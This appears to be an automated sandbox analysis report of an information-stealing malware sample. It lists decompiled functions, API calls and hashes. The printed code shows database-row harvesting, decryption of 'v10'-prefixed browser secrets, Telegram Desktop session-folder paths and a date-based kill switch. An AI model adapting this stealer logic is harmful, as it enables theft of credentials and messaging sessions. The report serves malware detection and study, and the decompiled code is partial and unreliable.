Instruction ID: badc1f77fbd681f1876fa2e3389a3849b2e9868718c133fb1f617daaf3b8e41a
Opcode Fuzzy Hash: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction Fuzzy Hash: D86114F190021CABD715EB60DC85FDE7378AB58304F0445AAF309A6191DB796B88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 004358D0, Relevance: 15.1, APIs: 10, Instructions: 135COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 004358DE

Part of subcall function 00435B60: _cmpBYTE.LIBCMTD ref: 00435B98

_cmpDWORD.LIBCMTD ref: 00435905

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: c8f3e292c3b1e8bb93b3af797200ed8ae75d1eaad313a1fa08ee5c27a5052a11
Instruction ID: 454a207a63d2f5a1754f23b730e31e9a28ea109ec4d09a23369beb22a328e692
Opcode Fuzzy Hash: c8f3e292c3b1e8bb93b3af797200ed8ae75d1eaad313a1fa08ee5c27a5052a11
Instruction Fuzzy Hash: C05150B1D00508EFCB04DFBCD988A9DBBB5AF48305F50D559E449AB245D738AF04EB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043AEC7, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 0043AED9
_write_multi_char.LIBCMTD ref: 0043B4E8
_write_string.LIBCMTD ref: 0043B503
_write_multi_char.LIBCMTD ref: 0043B52F
_wctomb_s.LIBCMTD ref: 0043B5AC

Strings

-, xrefs: 0043B488

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: _write_multi_char$__get_printf_count_output_wctomb_s_write_string
String ID: -
API String ID: 3263840866-2547889144
Opcode ID: 0c65ad84a56e085a8370dc49a6c64a9ff3ba5a725683ebfc158e356575223a53
Instruction ID: 0bf81c66ae58787335b301e02529389c6a75cf61397964905e939063af0e2255
Opcode Fuzzy Hash: 0c65ad84a56e085a8370dc49a6c64a9ff3ba5a725683ebfc158e356575223a53
Instruction Fuzzy Hash: AFA192B0D412289BDB24DF55CC4ABEEB7B0EF48304F1091DAE5197A282D7785E90CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00409400, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409400(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0xa18638
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a08c; // 0xa12640
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a16,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00409415
0x00409422
0x0040942f
0x00409443
0x00409449
0x0040944e
0x0040945f
0x0040946d
0x00409473
0x00409478
0x00409568
0x0040956f
0x00000000
0x00409585
0x00409492
0x00409498
0x0040949f
0x004094a5
0x004094ab
0x00000000
0x00000000
0x004094c3
0x004094d2
0x004094d8
0x004094db
0x004094ef
0x00409501
0x00409515
0x00409527
0x00409527
0x00409552
0x00409557
0x00409563
0x00000000
0x00409563
0x0040958b

APIs

wsprintfA.USER32 ref: 0040942F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409485
RtlAllocateHeap.NTDLL(00000000), ref: 0040948C
lstrcat.KERNEL32(?,?), ref: 004094EF
lstrcat.KERNEL32(?,004191EC), ref: 00409501
lstrcat.KERNEL32(?,?), ref: 00409515
lstrcat.KERNEL32(?,00418BC4), ref: 00409527
lstrlen.KERNEL32(?), ref: 00409539

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 1c8957950121198ff0230525564156e693af58e8a687dffe7e60fa441055b9ac
Instruction ID: 73f73464c9cdda0f85a8cd32dc3c754c459267de9915a2913d06030346bf418a
Opcode Fuzzy Hash: 1c8957950121198ff0230525564156e693af58e8a687dffe7e60fa441055b9ac
Instruction Fuzzy Hash: B141BAB1900108ABCB14DFA4DD4AFDA77B8AF48705F0085A9F709D7141D675DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00435678, Relevance: 12.1, APIs: 8, Instructions: 103COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00435686

Part of subcall function 00435B60: _cmpBYTE.LIBCMTD ref: 00435B98

_cmpDWORD.LIBCMTD ref: 004356AD

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 000ccbe2cadb759e74cd5e7df1b3dfedffdf27a34ef9d4f6f82d792d1a5bf3d5
Instruction ID: 0de0bcd9ca93f2a069ef9cb943015151cd04b4f6cfdf12916f09211f80103b6b
Opcode Fuzzy Hash: 000ccbe2cadb759e74cd5e7df1b3dfedffdf27a34ef9d4f6f82d792d1a5bf3d5
Instruction Fuzzy Hash: 37316171900508EFCB04EFBCDA88A9D7B74AB48305F549659F419AB205E738AF40EB99

Uniqueness

Uniqueness Score: -1.00%

Function 004357A4, Relevance: 12.1, APIs: 8, Instructions: 103COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 004357B2

Part of subcall function 00435B60: _cmpBYTE.LIBCMTD ref: 00435B98

_cmpDWORD.LIBCMTD ref: 004357D9

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 19dc914e4a0633765d336c19ed3a3f14afb2883500002485b60d4641ba5bd03d
Instruction ID: 373e6c73b2ec2c256eca1f95ac597a0588153c0f19d323aa226ac1bfe6c2a1be
Opcode Fuzzy Hash: 19dc914e4a0633765d336c19ed3a3f14afb2883500002485b60d4641ba5bd03d
Instruction Fuzzy Hash: D5316071D00508EFCB08EFBCDA8899D7B74AB48305F54D659F44AAB205D7389F44EB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043AD15, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 0043B4E8
_write_string.LIBCMTD ref: 0043B503
_write_multi_char.LIBCMTD ref: 0043B52F
_wctomb_s.LIBCMTD ref: 0043B5AC

Strings

-, xrefs: 0043B488

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: _write_multi_char$_wctomb_s_write_string
String ID: -
API String ID: 1811813154-2547889144
Opcode ID: 8e7702bc68fa19b7097ff8ce086694b6f7d8f68f90772f85f5e353640af8b2d6
Instruction ID: c2ae818702ceb0d8c3499e45a893c98b9a8d748e3d4499695075c5aa0ea247cd
Opcode Fuzzy Hash: 8e7702bc68fa19b7097ff8ce086694b6f7d8f68f90772f85f5e353640af8b2d6
Instruction Fuzzy Hash: A4A18EB0D012289FDB24DF54CC49BEEB7B1EB48305F1091DAD5096B291D7789E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00435560, Relevance: 10.6, APIs: 7, Instructions: 96COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 0043556E

Part of subcall function 00435B60: _cmpBYTE.LIBCMTD ref: 00435B98

_cmpDWORD.LIBCMTD ref: 00435595

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 78c03d3718f2390d31f8b063bc65ce1d810f83c356c66c6654849dcd724319e6
Instruction ID: e3b1f5033fe824e4aade292998195d36dafacf3c2ced6a3f950a0f869bdf3f6a
Opcode Fuzzy Hash: 78c03d3718f2390d31f8b063bc65ce1d810f83c356c66c6654849dcd724319e6
Instruction Fuzzy Hash: 88313271D00508FFDB04EFBCDA88A9D7B74AB48305F649559E40AAB245D738EF40EB58

Uniqueness

Uniqueness Score: -1.00%

Function 00409590, Relevance: 9.1, APIs: 6, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00409590(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				intOrPtr _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t70;

				E0040B720( &_v276, 0x104);
				_t27 =  *0x41a07c; // 0xa18518
				wsprintfA( &_v276, _t27, _a12, _a8);
				_t58 =  *0x41a294; // 0xa164b0
				_v280 = _t58;
				_t30 =  *0x41a830(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41a7e8(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41a808(_v284);
						return  *0x41a834(_v8);
					}
					_v288 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41a804(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41a820(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						 *0x41aa24(_v288, _v292);
						 *0x41aa24(_v288, "\n");
					}
					E004137E0(_a16,  &_v276, _v288,  *0x41a908(_v288));
					_t67 = _t70 + 0x10;
					E0040B720( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x004095a5
0x004095b2
0x004095bf
0x004095c8
0x004095ce
0x004095dc
0x004095e2
0x004095e7
0x00409603
0x00409609
0x0040960e
0x004096b9
0x004096c0
0x00000000
0x004096d3
0x00409628
0x0040962e
0x00409635
0x0040963b
0x00409641
0x00000000
0x00000000
0x0040964c
0x00409652
0x00409655
0x00409669
0x0040967b
0x0040967b
0x004096a3
0x004096a8
0x004096b4
0x00000000
0x004096b4
0x004096d9

APIs

wsprintfA.USER32 ref: 004095BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040961B
RtlAllocateHeap.NTDLL(00000000), ref: 00409622
lstrcat.KERNEL32(?,?), ref: 00409669
lstrcat.KERNEL32(?,00418BC4), ref: 0040967B
lstrlen.KERNEL32(?), ref: 0040968A

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 2b13814f49cb6c90ae8408b6036aac7cd0d64baebacf1a6257194b96e648feac
Instruction ID: 0f4305f0ea4e8f12541be8dfce34b0e085d7d14125619b5af487afca8afb3160
Opcode Fuzzy Hash: 2b13814f49cb6c90ae8408b6036aac7cd0d64baebacf1a6257194b96e648feac
Instruction Fuzzy Hash: 263186B1900108ABCB14DFA4DD46FDA73B8AF4C704F0085A9F70997281D635DEA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 004068F0, Relevance: 9.1, APIs: 6, Instructions: 75
timestringCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E004068F0(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				intOrPtr _t57;
				void* _t66;

				E0040B720( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41a60c; // 0xa14b38
				 *0x41aa24( &_v284, _t57);
				_t52 =  *0x41a104; // 0xa14a98
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0);
				}
				return _t45;
			}

0x00406905
0x0040690c
0x00406915
0x0040691b
0x00406921
0x00406927
0x00406930
0x00406939
0x0040693f
0x00406945
0x0040694b
0x00406952
0x0040695b
0x0040695e
0x00406967
0x00406971
0x00406977
0x00406985
0x004069b5
0x004069c3
0x004069d7
0x004069e8
0x004069f1
0x004069f4
0x00406a02
0x00406a02
0x00406a0b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
lstrcat.KERNEL32(?,00A14B38), ref: 00406985
sscanf.NTDLL ref: 004069C3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
ExitProcess.KERNEL32 ref: 00406A02

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID:
API String ID: 2797641603-0
Opcode ID: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction ID: e1bd8726115975e68c113ba4c939dbea9fdba7e28f8895f6eace496917ca047b
Opcode Fuzzy Hash: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction Fuzzy Hash: A531AEB5D1121CABCB58DF94DD85ADEB7B9AF48300F0085EAE10AA3150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043B191, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043B3BF
__aulldiv.LIBCMT ref: 0043B3E1

Strings

', xrefs: 0043B191
0, xrefs: 0043B1AD
9, xrefs: 0043B3F2

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: __aulldiv__aullrem
String ID: '$0$9
API String ID: 3839614884-269856862
Opcode ID: 96f092df24738603ecb64f042d5f45a5a2cfe88f21ec35a892fc2c2759a67061
Instruction ID: 7008eccfca131f2882b64e4a85d7d1293ec4e9a267acbbeed062563ab1bd3b2c
Opcode Fuzzy Hash: 96f092df24738603ecb64f042d5f45a5a2cfe88f21ec35a892fc2c2759a67061
Instruction Fuzzy Hash: 2B41E3B1D05628DFEB24CF48CC99BAEB7B5FB48304F2491DAD509A7241C7389A81DF85

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACE0() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040acfa
0x0040ad01
0x0040ad2e
0x0040ad3d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
wsprintfA.USER32 ref: 0040AD2E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040AD25

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 377395780-1073349071
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00404970, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404970(void* __ecx, void* __eflags, char* _a4) {
				intOrPtr _v56;
				char* _v60;
				char _v64;
				char _v132;

				E0040B720( &_v132, 0x40);
				E0040B720( &_v64, 0x3c);
				_v64 = 0x3c;
				_v60 =  &_v132;
				_v56 = 0x40;
				_push( &_v64);
				if(InternetCrackUrlA(_a4,  *0x41a908(), _a4, 0x10000000) == 0) {
					return 0x418b7c;
				}
				return _v60;
			}

0x0040497f
0x0040498a
0x0040498f
0x00404999
0x0040499c
0x004049a6
0x004049c3
0x00000000
0x004049cc
0x00000000

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 004049B0
InternetCrackUrlA.WININET(?,00000000), ref: 004049BB

Strings

<, xrefs: 0040498F
http, xrefs: 004049CC
@, xrefs: 0040499C

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction ID: e6804194f0461931acba1e2b3008128b19c1605eb91d96f529587f083f9a09b0
Opcode Fuzzy Hash: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction Fuzzy Hash: 84F012F590020CABDB04DFA5E885FEE7B7CEB44344F008529FA04AB190DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00407230, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00407230(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				long _v80;
				void* _v84;
				int _v88;
				char _v5092;
				void* _t58;
				void* _t94;

				E004139B0(0x13e0, __ecx);
				if(_a8 < 3) {
					L10:
					return E00407190(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x4191a0;
				}
				memset( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x41aa60(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x4191a0;
				}
				E0040B720( &_v5092, 0x1388);
				 *0x41aa24( &_v5092, _v84);
				 *((char*)(_t94 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00407238
0x00407243
0x00407364
0x00000000
0x00407371
0x00407258
0x0040725a
0x00000000
0x00000000
0x00407274
0x00000000
0x0040735b
0x00407282
0x0040728a
0x00407291
0x0040729e
0x004072a1
0x004072b2
0x004072b5
0x004072c8
0x004072d1
0x004072d7
0x004072de
0x00000000
0x00407359
0x004072e0
0x00407312
0x00407319
0x00000000
0x00407352
0x00407327
0x00407337
0x00407340
0x00000000

APIs

memset.MSVCRT ref: 00407282
LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
lstrcat.KERNEL32(?,00000000), ref: 00407337

Strings

@, xrefs: 0040728A
v10, xrefs: 0040724E

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction ID: 61f64e7557948a46b50732eb2c11968d7e6d1a4f1abee3a4cf4d88c7128a29d2
Opcode Fuzzy Hash: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction Fuzzy Hash: D24150B1E04208EBEB14CFD4D884BDEB7B4FF48344F048169F905AB284D778AA45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEB0, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BEB0(char* _a4, char* _a8, intOrPtr _a12) {
				char* _v8;
				char* _v12;
				char* _v16;
				char _v17;
				intOrPtr _v24;

				_v8 = StrStrA(_a4, _a8);
				if(_v8 != 0) {
					 *0x41a994("C:\Users\hardz\AppData\Roaming\Telegram Desktop\tdata\", _a4, _v8 - _a4);
					 *(_v8 - _a4 + 0x41ac88) = 0;
					_v12 = _a8;
					_v16 =  &(_v12[1]);
					do {
						_v17 =  *_v12;
						_v12 =  &(_v12[1]);
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					wsprintfA(_v8 - _a4 + 0x41ac88, "%s%s", _a12, _v8 + _v24);
					return 0x41ac88;
				}
				return _a4;
			}

0x0040bec4
0x0040becb
0x0040bee2
0x0040beee
0x0040bef8
0x0040bf01
0x0040bf04
0x0040bf09
0x0040bf0c
0x0040bf10
0x0040bf1c
0x0040bf3b
0x00000000
0x0040bf44
0x00000000

APIs

StrStrA.SHLWAPI(00A16E50,?,?,004061B1,?,00A16E50,00000000), ref: 0040BEBE
lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\,00A16E50,00A16E50,?,004061B1,?,00A16E50), ref: 0040BEE2
wsprintfA.USER32 ref: 0040BF3B

Strings

%s%s, xrefs: 0040BF2A
C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\, xrefs: 0040BEDD, 0040BF35, 0040BF44

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcpynwsprintf
String ID: %s%s$C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\
API String ID: 1799455324-3001463722
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 9d0df258c1970b53338195e9cfc72265299fee085df88f93dfbf2dd1b14f7860
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 3A21F975901108FFDF05DFACC984AEEBBB4EF48344F108199E909A7341D735AA90CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5C0, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B5C0(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x41a908(0), _a4, 0);
				_v16 = E0040B590( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x41a908(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b5c0
0x0040b5e3
0x0040b605
0x0040b60b
0x0040b629
0x0040b637
0x0040b641

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B5CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B5DD
new[].LIBCMTD ref: 0040B5FD
lstrlen.KERNEL32(?,?,?), ref: 0040B61A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B629

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: 9334197e3b0a60478884826bbc964b22f0ad8ab59abc14db56de3517539ab197
Instruction ID: 4e01539bb3d2c282a73af516c558e114f3eec2120aea2764bae626352bcff954
Opcode Fuzzy Hash: 9334197e3b0a60478884826bbc964b22f0ad8ab59abc14db56de3517539ab197
Instruction Fuzzy Hash: 000104B5A01108BFDB44DFA8DD46F9E7BB8EF4C304F108158F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0043B17E, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043B3BF
__aulldiv.LIBCMT ref: 0043B3E1

Strings

0, xrefs: 0043B1AD
9, xrefs: 0043B3F2

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: __aulldiv__aullrem
String ID: 0$9
API String ID: 3839614884-1975997740
Opcode ID: d8cdc2e0135a65d4c08e52063a9d7831d685a59accbb5d9dfe72555ca9ccc1c7
Instruction ID: fd779cd6abf6e4b5f879794e47abe06d4b0203f222cb4fd33562aad66ef31630
Opcode Fuzzy Hash: d8cdc2e0135a65d4c08e52063a9d7831d685a59accbb5d9dfe72555ca9ccc1c7
Instruction Fuzzy Hash: D14104B1D05628CFEB20CF48CC99BAEB7B5FB48304F2091DAE509A7240C7385A81CF85

Uniqueness

Uniqueness Score: -1.00%

Function 004124F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124F0(intOrPtr __ecx, void* _a4, char _a8) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412876
					_t43 =  &_a8; // 0x412876
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412876
